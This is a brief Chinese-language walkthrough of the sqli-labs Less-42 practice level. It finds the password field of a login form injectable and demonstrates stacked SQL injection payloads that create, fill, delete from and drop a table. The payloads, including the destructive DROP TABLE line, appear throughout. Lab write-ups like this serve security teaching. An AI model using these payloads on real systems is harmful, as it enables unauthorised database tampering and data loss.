sqli-labs/Less-42

这一关又回到了post请求了

而且这一关不需要进行爆破操作这一关的目的在于尝试堆叠注入

所以我们需要找出那个表单是注入点

我们往两处表单都输入1'

报错了 说明两个表单必定有一处为注入点

首先注入如下

username 1'
password 1

没有报错 

在试试看如下输入

username 1
password 1'

报错了 报错信息如下

所以我们往username随意输入 往password输入单引号 并且进行堆叠注入

首先进行创建表格操作

1';create table demo like users;#

 数据库回显如下所示

然后进行添加数据操作

输入如下

1';insert into demo values(1,'xiaoming','555');#

 数据库回显如下

然后删除数据 输入如下

1';delete from demo where id=1;#

 数据库回显如下

然后进行删除表格操作 输入如下

1';drop table demo;#

 数据库回显如下

这一关就这样子吧 嗨嗨 ！！！